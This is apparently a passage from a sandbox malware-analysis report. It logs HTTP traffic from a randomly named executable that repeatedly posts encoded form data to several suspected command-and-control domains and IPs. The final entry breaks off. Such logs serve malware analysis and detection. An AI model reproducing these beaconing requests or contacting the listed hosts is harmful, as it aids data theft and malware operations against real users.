Dec 3, 2024 14:39:38.497212887 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:39:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49993	31.31.196.17	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:39.793891907 CET	1864	OUT	POST /7a5n/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.bootleggersrt.online Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.bootleggersrt.online Referer: http://www.bootleggersrt.online/7a5n/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 66 34 36 6e 46 78 6e 68 55 54 53 52 72 7a 47 2b 66 54 64 42 47 63 79 6e 42 46 4d 77 48 31 4b 31 51 37 54 75 61 69 50 62 57 32 32 6c 4f 48 2b 4b 2b 61 75 54 44 38 38 56 4e 58 71 62 33 77 76 71 63 46 76 34 49 4d 71 57 68 46 75 39 45 43 59 68 2f 62 48 78 66 70 34 70 47 64 68 42 64 2f 46 77 4b 42 70 53 54 70 44 34 54 56 5a 69 4e 56 66 63 4e 51 4a 2b 35 30 50 77 4a 72 66 56 47 66 70 54 73 38 4c 54 46 4f 57 39 69 7a 6b 53 62 79 50 75 71 35 65 76 6a 67 43 69 6e 77 68 37 42 36 49 77 6a 74 47 46 72 51 6c 69 73 74 4e 32 47 62 41 38 47 6b 36 74 67 66 41 62 41 76 47 53 64 76 33 61 72 31 72 61 4e 72 77 4f 48 54 55 66 36 55 70 65 46 38 46 68 74 6b 69 33 2b 64 6f 69 54 47 49 55 4a 34 4e 67 70 76 61 61 2f 33 75 54 77 57 68 74 42 4c 56 73 42 79 4e 70 68 64 73 67 54 6d 7a 52 51 48 76 65 45 52 6f 65 44 52 72 6c 79 73 46 74 63 44 33 7a 46 51 37 6e 33 52 4a 35 58 41 4b 37 52 6e 4f 56 5a 31 38 79 6c 79 58 45 52 69 53 34 71 53 7a 69 7a 58 70 35 61 59 61 75 71 6d 69 56 59 56 57 4b 67 72 46 70 65 [TRUNCATED] Data Ascii: u6nP_F48=f46nFxnhUTSRrzG+fTdBGcynBFMwH1K1Q7TuaiPbW22lOH+K+auTD88VNXqb3wvqcFv4IMqWhFu9ECYh/bHxfp4pGdhBd/FwKBpSTpD4TVZiNVfcNQJ+50PwJrfVGfpTs8LTFOW9izkSbyPuq5evjgCinwh7B6IwjtGFrQlistN2GbA8Gk6tgfAbAvGSdv3ar1raNrwOHTUf6UpeF8Fhtki3+doiTGIUJ4Ngpvaa/3uTwWhtBLVsByNphdsgTmzRQHveERoeDRrlysFtcD3zFQ7n3RJ5XAK7RnOVZ18ylyXERiS4qSzizXp5aYauqmiVYVWKgrFpeUtBXq37AL11UzCqtLWhDLh89EIpZmg0Bol/da8KYF6mdMO8VzMJAOF8BxYDh4poJD8tmoSwSvO4kGnurzaxOfZnU2N/nSEaQuH7dMk5UwpiY8YindFh5YdgYcXUVKa2F/ExvJ8/k8fwaR4JWlytPu8TxzYNe1zVC6sXjdDRNFY3BxOudu6VNrWy2voDW9CJDNlvXXMexS8V7ayhJX876ToYsFiMDljl/Gnnu7V0sP0qimCNVh5D6Eirf+8CyMvqV70RrFrMYhxAigHskIwGKvgKdvV90ZP3L81aJh67End4Z7EbnLNSBLT4oqL2c503oxMh8j+/3bcCZdhY5bxo/4CMwieuJLD+GSEnXKL6j9LSuJLivTepdYo2SuBKVRF/Vas7cY5wKnIydNpYIb2AaspqNpDUCUyZjfkrX4bG7p711XFI3e5HP/1g5uE1ZCenu4dl41kPSps2It4OakcMIkmnPXLTNZjsxQR9Kof8f9Kzd6o4Vq26loTvQrN+H6r12mb7YEiR4nitiq5qAZIOFFaePpZzOefslF/7/pLYC1jZTZBw/TGm+bIJyBrQca3NuAWdXwllC+B3up1njNqSItvwq5+ji6NX0lv0b21IAVzOBPuSSucpNcYhBrA024/J4P4X4IAiPfAwFbQNdWSrcJZKi9oYm5uDOnx [TRUNCATED]
Dec 3, 2024 14:39:41.197916985 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:39:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50000	31.31.196.17	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:42.464874029 CET	560	OUT	GET /7a5n/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=S6SHGGXXYwmAu16pai4DUvmkZVlUR2XiLpaLWC7pZkuSLECp9ozWQ9UIc1yk4ybjQU73M8zKwnu8ByEcz6/kZr88F4N+VuUzEk15V8/AegthLE/UMwpBwzbtc6DqGvxT1O3KEY4= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.bootleggersrt.online Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:39:43.824863911 CET	330	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:39:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50020	130.185.109.77	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:49.922200918 CET	812	OUT	POST /q2b2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.lgdiamonds.info Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.lgdiamonds.info Referer: http://www.lgdiamonds.info/q2b2/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 70 2b 6a 6b 6b 72 65 61 77 7a 4b 6e 5a 41 49 4e 32 52 32 2b 51 74 4e 36 52 6f 6f 44 72 42 65 6f 33 65 53 33 73 6a 2f 54 59 64 68 6e 37 32 61 4e 63 57 79 38 61 4a 52 77 6c 43 6a 57 31 58 59 53 6f 44 67 32 2f 72 6f 77 4a 61 48 54 6d 71 41 32 67 74 4e 6b 65 67 63 48 45 5a 5a 31 53 2f 45 6f 45 38 58 2f 37 36 63 78 4a 76 37 34 6b 74 69 44 4d 79 47 7a 63 77 52 6d 59 54 54 2f 65 71 42 38 43 49 54 41 6f 56 44 6e 54 6b 32 4a 50 33 77 59 34 66 68 30 71 5a 72 6a 54 54 46 63 45 61 32 48 58 42 6a 46 4a 33 65 79 76 63 53 70 30 55 61 42 6d 44 64 41 4a 6d 6f 43 72 58 35 45 78 45 30 4f 6d 76 6b 74 68 4d 2f 63 66 63 6b 5a Data Ascii: u6nP_F48=p+jkkreawzKnZAIN2R2+QtN6RooDrBeo3eS3sj/TYdhn72aNcWy8aJRwlCjW1XYSoDg2/rowJaHTmqA2gtNkegcHEZZ1S/EoE8X/76cxJv74ktiDMyGzcwRmYTT/eqB8CITAoVDnTk2JP3wY4fh0qZrjTTFcEa2HXBjFJ3eyvcSp0UaBmDdAJmoCrX5ExE0OmvkthM/cfckZ
Dec 3, 2024 14:39:51.245121956 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 03 Dec 2024 13:39:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50026	130.185.109.77	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:52.590816975 CET	836	OUT	POST /q2b2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.lgdiamonds.info Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.lgdiamonds.info Referer: http://www.lgdiamonds.info/q2b2/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 70 2b 6a 6b 6b 72 65 61 77 7a 4b 6e 66 51 59 4e 6c 69 65 2b 46 64 4e 35 53 6f 6f 44 69 68 65 53 33 66 75 33 73 69 37 39 59 72 5a 6e 37 58 4b 4e 66 55 4b 38 5a 4a 52 77 71 69 6a 66 34 33 59 4d 6f 44 38 2b 2f 71 55 77 4a 61 54 54 6d 6f 49 32 67 2b 31 6c 65 77 63 4a 50 35 5a 7a 63 66 45 6f 45 38 58 2f 37 36 59 50 4a 72 58 34 6c 64 53 44 65 47 53 38 52 51 52 6c 4d 44 54 2f 55 36 42 34 43 49 53 76 6f 55 76 65 54 6d 4f 4a 50 32 41 59 34 4e 5a 31 6a 5a 72 35 63 7a 45 62 4e 71 4b 4a 54 53 65 58 44 48 4b 77 32 37 4b 78 31 69 48 62 36 77 64 6a 62 32 49 41 72 56 68 32 78 6b 30 6b 6b 76 63 74 7a 62 7a 37 51 6f 42 36 46 78 48 42 74 75 65 69 53 56 46 78 71 37 44 77 50 50 67 77 75 51 3d 3d Data Ascii: u6nP_F48=p+jkkreawzKnfQYNlie+FdN5SooDiheS3fu3si79YrZn7XKNfUK8ZJRwqijf43YMoD8+/qUwJaTTmoI2g+1lewcJP5ZzcfEoE8X/76YPJrX4ldSDeGS8RQRlMDT/U6B4CISvoUveTmOJP2AY4NZ1jZr5czEbNqKJTSeXDHKw27Kx1iHb6wdjb2IArVh2xk0kkvctzbz7QoB6FxHBtueiSVFxq7DwPPgwuQ==
Dec 3, 2024 14:39:53.834543943 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 03 Dec 2024 13:39:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50033	130.185.109.77	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:55.266241074 CET	1849	OUT	POST /q2b2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.lgdiamonds.info Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.lgdiamonds.info Referer: http://www.lgdiamonds.info/q2b2/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 70 2b 6a 6b 6b 72 65 61 77 7a 4b 6e 66 51 59 4e 6c 69 65 2b 46 64 4e 35 53 6f 6f 44 69 68 65 53 33 66 75 33 73 69 37 39 59 72 52 6e 36 6e 57 4e 46 31 4b 38 59 4a 52 77 6a 43 6a 61 34 33 5a 4a 6f 44 30 36 2f 71 59 4b 4a 59 72 54 6e 4b 77 32 77 66 31 6c 56 77 63 4a 41 5a 5a 32 53 2f 46 6f 45 38 6e 37 37 36 49 50 4a 72 58 34 6c 62 65 44 64 53 47 38 54 51 52 6d 59 54 54 7a 65 71 42 51 43 49 71 56 6f 55 72 4f 53 56 47 4a 42 31 34 59 35 2b 68 31 69 35 72 2f 51 54 45 35 4e 71 48 4c 54 53 43 54 44 45 58 56 32 38 36 78 35 6b 4b 69 71 52 42 33 48 55 67 47 39 53 52 31 31 79 77 77 6d 76 41 44 33 6f 66 30 65 39 6b 57 4d 46 48 69 6b 75 48 5a 61 6c 46 35 6c 37 75 55 62 72 67 67 34 6a 4f 69 6b 74 6c 62 62 6a 4e 79 75 62 37 6a 77 38 63 79 34 76 44 71 2b 4c 6a 4b 61 38 4e 68 51 35 59 45 35 38 2f 4f 6d 72 53 49 56 77 4a 68 76 6c 4d 71 6f 6c 53 4f 77 46 57 53 35 33 62 42 56 74 45 79 47 64 36 32 5a 5a 6b 72 44 50 35 50 2f 4e 46 71 6b 57 50 31 57 45 6f 37 2b 74 78 52 52 7a 32 6d 2b 32 6b 54 67 [TRUNCATED] Data Ascii: u6nP_F48=p+jkkreawzKnfQYNlie+FdN5SooDiheS3fu3si79YrRn6nWNF1K8YJRwjCja43ZJoD06/qYKJYrTnKw2wf1lVwcJAZZ2S/FoE8n776IPJrX4lbeDdSG8TQRmYTTzeqBQCIqVoUrOSVGJB14Y5+h1i5r/QTE5NqHLTSCTDEXV286x5kKiqRB3HUgG9SR11ywwmvAD3of0e9kWMFHikuHZalF5l7uUbrgg4jOiktlbbjNyub7jw8cy4vDq+LjKa8NhQ5YE58/OmrSIVwJhvlMqolSOwFWS53bBVtEyGd62ZZkrDP5P/NFqkWP1WEo7+txRRz2m+2kTg4j9b9n9wRjlzlB5R1CQhFta69zH1xK7CubHhMmdvCWfTcmnnk2lr+ncSNT+xUVjPh4n2h6rdw8NUJ/ZCbMB4g8rZOdGred0BVCBdOwm3H5K2eYd7mxRax/P14sF2JWS9UO1HN4eUV4bjVyLvnbefGnztUfZObKXxL7wSDaciIlrFl6zrISu6MLtK2CJEzFgAI5JUDtA4Z3p186Lwi1nUM3gnenU7/wBsFBTywB2FqrxTDOn9793eONuZ8rvd6bZxIJKgZn2h0XqGqlBCbeEFezYE8kcMuUJRjlb3CzHzrBHaJV1SplopYkvgo5EAt0rJKGjMiWm6eHPj0o43MxUpvLg0wXbHlZoAldnysTNFdyWiTj0SwD/h9rvHxgh3ymlR7pBd+uwPa6jUnluKdNvZu6QMfjDuLpGRjRmpf64wa1eIEEjnSI4R+NCdBflltXnq53pOWoglIl5ZSE7+XvfKovEu7SEIQctHaBYhaQli7U3HaqCuG+o6fWrR0PK2Lg5izPRHtmt5ZkZu1ER7uP0oUzQ/7z6tySdC1yUOYUXQNanEqoXThhLVbqnfHU/mQjzKimTB2Wcvpi7YAacjtMAL8j9LNo6UZBeR4aWg1PhySS4bQu8AyHNbH+c5exOSffPV7kbrV6Z2z89N2GbVFjCNeLeEqBgvnyTpLl [TRUNCATED]
Dec 3, 2024 14:39:56.580390930 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 03 Dec 2024 13:39:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50034	130.185.109.77	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:57.928770065 CET	555	OUT	GET /q2b2/?u6nP_F48=k8LEnfe2wzSPKnd+4j+FHsRof8pP0SbHpdiozyXUU8wG1G+DI2HbB69btAHUx0UZtSY5up0HFKX7joYW5N4IdT0eHsdsbM4tAcjV6Y0GGqKWlvaVbVOKX21NPAfOVONObcqqhCU=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.lgdiamonds.info Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:39:59.180696011 CET	317	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 03 Dec 2024 13:39:58 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50035	172.104.82.74	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:08.046125889 CET	818	OUT	POST /plyd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.funnystory.online Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.funnystory.online Referer: http://www.funnystory.online/plyd/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 51 78 76 35 57 71 61 74 39 70 47 61 53 66 71 51 55 4e 35 61 6e 37 2b 76 61 77 4a 31 39 2b 6f 41 42 7a 73 53 7a 32 73 6f 66 6b 53 62 63 46 4c 63 57 39 53 4b 41 54 33 51 62 68 39 77 64 58 47 7a 2b 2f 46 4c 6a 46 42 63 4a 32 71 53 6b 68 66 65 79 2f 75 31 4f 74 46 71 6e 63 4f 2f 36 6e 4e 57 67 63 64 31 46 67 36 32 35 4f 5a 69 47 62 47 68 57 6f 6d 54 49 52 50 39 4a 4d 59 48 72 68 61 52 68 76 79 74 52 33 34 30 30 39 78 6d 55 79 47 67 39 4b 61 2f 56 48 58 46 31 67 61 52 73 42 57 71 74 7a 38 79 6c 68 31 4e 73 33 79 36 4c 2f 78 75 7a 4a 62 58 7a 4b 70 2b 69 35 2b 63 30 64 72 37 4a 2f 46 6f 61 34 6f 30 47 34 68 6d Data Ascii: u6nP_F48=Qxv5Wqat9pGaSfqQUN5an7+vawJ19+oABzsSz2sofkSbcFLcW9SKAT3Qbh9wdXGz+/FLjFBcJ2qSkhfey/u1OtFqncO/6nNWgcd1Fg625OZiGbGhWomTIRP9JMYHrhaRhvytR34009xmUyGg9Ka/VHXF1gaRsBWqtz8ylh1Ns3y6L/xuzJbXzKp+i5+c0dr7J/Foa4o0G4hm
Dec 3, 2024 14:40:09.457550049 CET	464	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 13:40:09 GMT Server: Apache Location: http://www.funnystory.online/cgi-sys/suspendedpage.cgi Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 75 6e 6e 79 73 74 6f 72 79 2e 6f 6e 6c 69 6e 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://www.funnystory.online/cgi-sys/suspendedpage.cgi">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50036	172.104.82.74	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:10.720089912 CET	842	OUT	POST /plyd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.funnystory.online Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.funnystory.online Referer: http://www.funnystory.online/plyd/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 51 78 76 35 57 71 61 74 39 70 47 61 52 2f 36 51 48 36 6c 61 69 62 2b 75 65 41 4a 31 7a 65 6f 45 42 7a 67 53 7a 33 70 31 65 53 43 62 63 6c 37 63 58 34 2b 4b 44 54 33 51 50 78 39 31 54 33 47 34 2b 2f 4a 44 6a 48 56 63 4a 33 4f 53 6b 68 76 65 79 49 79 71 4f 39 46 6b 79 4d 4f 39 2b 6e 4e 57 67 63 64 31 46 67 65 51 35 50 78 69 47 6f 65 68 4d 4b 65 51 55 42 50 2b 42 73 59 48 36 78 61 4e 68 76 79 44 52 79 59 53 30 2f 35 6d 55 79 57 67 39 66 32 34 43 58 58 4c 72 51 62 31 74 69 6a 5a 6f 78 4e 75 71 52 31 71 76 77 71 46 4b 4a 73 30 76 36 62 30 68 61 4a 38 69 37 6d 75 30 39 72 52 4c 2f 39 6f 49 76 6b 54 4a 4d 45 46 4f 6a 52 31 7a 61 35 70 70 78 37 36 65 42 41 55 51 6c 43 38 6b 67 3d 3d Data Ascii: 